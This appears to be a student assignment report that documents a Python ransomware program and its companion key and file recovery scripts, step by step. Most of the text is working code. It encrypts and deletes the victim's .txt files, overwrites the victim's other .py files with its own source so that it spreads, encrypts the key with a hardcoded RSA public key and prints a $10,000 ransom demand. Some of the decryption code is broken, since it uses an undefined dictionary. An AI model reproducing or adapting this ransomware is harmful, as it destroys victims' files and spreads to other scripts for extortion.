Imports

- string
  - allows the access to ascii letters to generate all the alphabets

```
# GENERATE RANDOM ALPHABET TABLE
# all letters (lower/upper)
alphabet = string.ascii_letters
```

- random
  - allows the access to the random.shuffle() method to randomise the ascii letters

```
# generate symmetric key
def generateKey(alphabet):
        alphabet = list(alphabet)
        random.shuffle(alphabet) # randomise
```

- os
  - allows the use of os.listdir() and os.remove() methods to, for example, delete files from the directory

```
# delete the original text files
def delete_txt_files():
        for file in files:
                os.remove(file)
```

- glob
  - allows the use of glob.glob(file_pattern) method to, for example, locate text files to be encrypted and enc files to be decrypted

```
# search in the current working directory(cwd)
for file in glob.glob("*.txt"): # txt files
        files.append(file) # add file to files list
```

- sys
  - allows the user of sys.argv[0] to open the file itself

```
# read this file
with open(sys.argv[0], "r") as fin:
        own_contents = fin.read()
        fin.close()
```

- RSA PKCS1_OAEP
  - public key encryption

```
# DECRYPT SYMMETRIC KEY
file_in = open("key.bin", "rb")
private_key =
RSA.import_key(open("ransomprvkey.pem").read())
enc_key = file_in.read(private_key.size_in_bytes())
cipher_rsa = PKCS1_OAEP.new(private_key)
symkey = cipher_rsa.decrypt(enc_key)
```

- subprocess
  - allows the execution of new process, in this case I used it to make the victim's python file executable
- Popen
  - used for a more flexible management of command line processes

```
# make the victim's py file(s) executable
for file in victims_py_files:
        p = Popen(["chmod", "+x", file])
```

Program Flow – ransomware.py

Step 1 (Generate symmetric key):

- Generate a symmetric key using ascii letters (lowercase and uppercase alphabets)
- Invoke random.shuffle() method to randomise the letters
- Finally, the symmetric key is the list of shuffled ascii letters

```
# generate symmetric key
def generateKey(alphabet):
        alphabet = list(alphabet)
        random.shuffle(alphabet) # randomise
        return ''.join(alphabet) # convert to string

key = generateKey(alphabet)
```

Step 2 (Locate victim's text files):

- Locate and store the victim's txt files to be encrypted and deleted using the glob.glob(file_pattern) method

```
# LOCATES FILES TO BE ENCRYPTED
# stores a list of files to be encrypted
files = []

# search in the current working directory(cwd)
for file in glob.glob("*.txt"): # txt files
        files.append(file) # add file to files list
```

Step 3 (Mapping values for substitution cipher):

- Create a dictionary to map the values to be used for substitution cipher by enumerating through the standard ascii letters list and assigning a (key:value) pair with respect to the symmetric key generated in Step 1

```
# MAP SUBSTITUTION VALUES
# create a dictionary
dict = {}

# iterate through the alphabet list
for i, c in enumerate(alphabet):
        dict[c] = key[i]
```

Step 4 (Encrypt the victim's text file(s)):

- Go through the victim's txt file(s) and store its contents
- Encrypt the contents via substitution cipher using the dictionary created in Step 3
- Write the encrypted data to an enc file for each txt file(s)

```
# ENCRYPT THE TEXT FILES
# go through all the files, read and encrypt
for file in files:
        with open(file, "r") as f:
                contents = f.read()
        # encrypt the contents
        for i, c in enumerate(contents):
                contents = list(contents)
                if contents[i] in dict: # if key value exists in dictionary
                        contents[i] = dict[c]
        # write encrypted data to enc file
        fout = open(str(f.name.split('.')[0]) + ".enc", "w")
        fout.write(''.join(contents))
        fout.close()
```

Step 5 (Delete the victim's text file(s)):

- After encrypting the victim's txt file(s), delete it using the os.remove(file) method

```
# delete the original text files
def delete_txt_files():
        for file in files:
                os.remove(file)

delete_txt_files()
```

Step 6 (Infect the victim's python file(s)):

- Gather the contents of the ransomware program
- Locate the victim's python file(s)
- Write the contents of the ransomware program into the victim's python file(s) and prepend a '#' character to comment out the original contents

```
# REPLICATE AND COMMENT PYTHON FILE
# read this file
with open(sys.argv[0], "r") as fin:
        own_contents = fin.read()
        fin.close()

# list of victim's py files
victims_py_files = []

# locate the python file(s) to be infected
for file in glob.glob("*.py"):
        if file != "ransomware.py" and file != "file_recovery_program.py" and file !=
"key_recovery_program.py":
                victims_py_files.append(file)

for file in victims_py_files: # locate py file
        with open(file, "r") as fin:
                original = fin.readlines()
                # prepending # to comment out the line
                original = ["#" + line for line in original]
                fin.close()
        with open(file, "w") as fout:
                fout.write(own_contents)
                fout.writelines(original)
                fout.close()
```

Step 7 (Encrypt symmetric key using RSA):

- Encrypt the symmetric key using RSA generated public key
- Write the encrypted symmetric key to a bin file

```
# ENCRYPT SYMKEY USING RSA
# generate rsa private and public key
pk = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAukDRNoHjOjPcD6Fq/vyJ
NVsxrGPQeJtIH9g3T359fNJjTDZDehiqy0UTjuA9g5/ETl1BC846MBZq9lVeZQhQ
2zc9yFC56+u9ne+JaNasSneURKG/EVH870V0OrqLICKWZPdob8GuPi0/4APwAKro
XTqPPL4hHbFaxe4DWT6pOzMl+s7GxDzKfi4z1vE8yZAYszkWFJhi7Bss2dM9vf5q
nCYZfpmAKpK5hztsgdhWhgRYOcKOpvGqku0wZyomsuQEqp+CueOw+Ui0P3G/ZYDK
M2usTRvSeDT83OPTMnCyt8Mwwp413UEgSVmjPPcS3UjgKG7jIWElSWYCjuUApmp5
sQIDAQAB
-----END PUBLIC KEY-----"""
public_key = RSA.import_key(pk)
cipher_rsa = PKCS1_OAEP.new(public_key)

# encrypt symkey
symkey = bytes(key, 'utf-8') # convert to bytes
enc_symkey = cipher_rsa.encrypt(symkey)

# write to file
fout = open("key.bin", "wb")
fout.write(enc_symkey)
fout.close()
```

Step 8 (Displaying ransom message):

- Display the ransom message

```
# Ransom message
print("Your text files are encrypted. To decrypt them, you need to pay me $10,000 and send
key.bin in your folder to kqt960@uowmail.edu.au")
```

Step 9 (Make the victim's python file(s) executable):

- By using the subprocess and Popen imports, initiate a chmod command to make the victim's python file executable

```
# make the victim's py file(s) executable
for file in victims_py_files:
        p = Popen(["chmod", "+x", file])
```

<u>Expected outcome(s) after running ransomware.py</u>

- The program will locate and encrypt the victim's txt file(s) in the same directory of the ransomware program and write the encrypted contents to enc file(s).
- The txt file(s) will then be deleted subsequently.
- A key.bin file which includes the encrypted symmetric key will be created.

Program Flow – key_recovery_program.py

Step 1 (Decrypt symmetric key):

- Decrypt the symmetric key in the key.bin file using the private key and write the decrypted symmetric key to a txt file

```
# DECRYPT SYMMETRIC KEY
file_in = open("key.bin", "rb")
private_key = RSA.import_key(open("ransomprvkey.pem").read())
enc_key = file_in.read(private_key.size_in_bytes())
cipher_rsa = PKCS1_OAEP.new(private_key)
symkey = cipher_rsa.decrypt(enc_key)

# write symkey to txt file
fout = open("key.txt", "wb")
fout.write(symkey)
fout.close()

file_in.close()
```

Expected outcomes after running key_recovery_program.py

- The encrypted symmetric key will be decrypted using the private key generated beforehand
- The decrypted symmetric key will then be written to a key.txt file

Program Flow – file_recovery_program.py

Step 1 (Ensure that a key.txt file is generated before continuing):

- The program terminates if key.txt file is not found

```
# to make sure key.txt is present before running
program
try:
        fin = open("key.txt", "rb")
        encoded_symkey = fin.read()
        symkey = encoded_symkey.decode('utf-8')
except FileNotFoundError as error:
        sys.exit(error)
```

Step 2 (Locate the enc files to be decrypted):

- Locate the enc files to be decrypted

```
# LOCATES FILES TO BE DECRYPTED
# stores a list of files to be encrypted
files = []

for file in glob.glob("*.enc"): # enc files only
        files.append(file) # add to files list
```

Step 3 (Map the substitution values):

- Create a dictionary and map it to the decrypted symmetric key and swap the original key:value pair whereby if key:value = x:y, it is now y:x

```
# all letters
alphabet = string.ascii_letters

# MAP SUBSTITUTION VALUES
# create a dictionary
og_dict = {}

# iterate through the alphabet list
for i, c in enumerate(alphabet):
        og_dict[c] = symkey[i]
```

Step 4 (Decrypt the enc files):

- Go through all the enc files and decrypt the contents
- Write the decrypted contents to a txt file

```
# go through all the files, read and decrypt
for file in files:
        with open(file, "r") as f:
                contents = f.read()
        # decrypt the contents
        for i, c in enumerate(contents):
                contents = list(contents)
                if contents[i] in swap_dict: # if key value
dictionary
                        contents[i] = swap_dict[c]
        # write decrypted data to txt file
        fout = open(str(f.name.split('.')[0]) + ".txt", "w")
        fout.write(''.join(contents))
        fout.close()
```

Step 5 (Delete the enc file(s)):

- Delete the enc files

```
# delete the enc files
def delete_enc_files():
        for file in files:
                os.remove(file) # delete txt files

delete_enc_files()
```

Expected outcomes after running file_recovery_program.py

Scenario 1 – key.txt file is not found:

- Program will be terminated

Scenario 2 – key.txt file is found:

- Locate the enc files which are to be decrypted and subsequently deleted
- Decrypt the contents of the enc files
- Delete the enc files after successfully decrypting them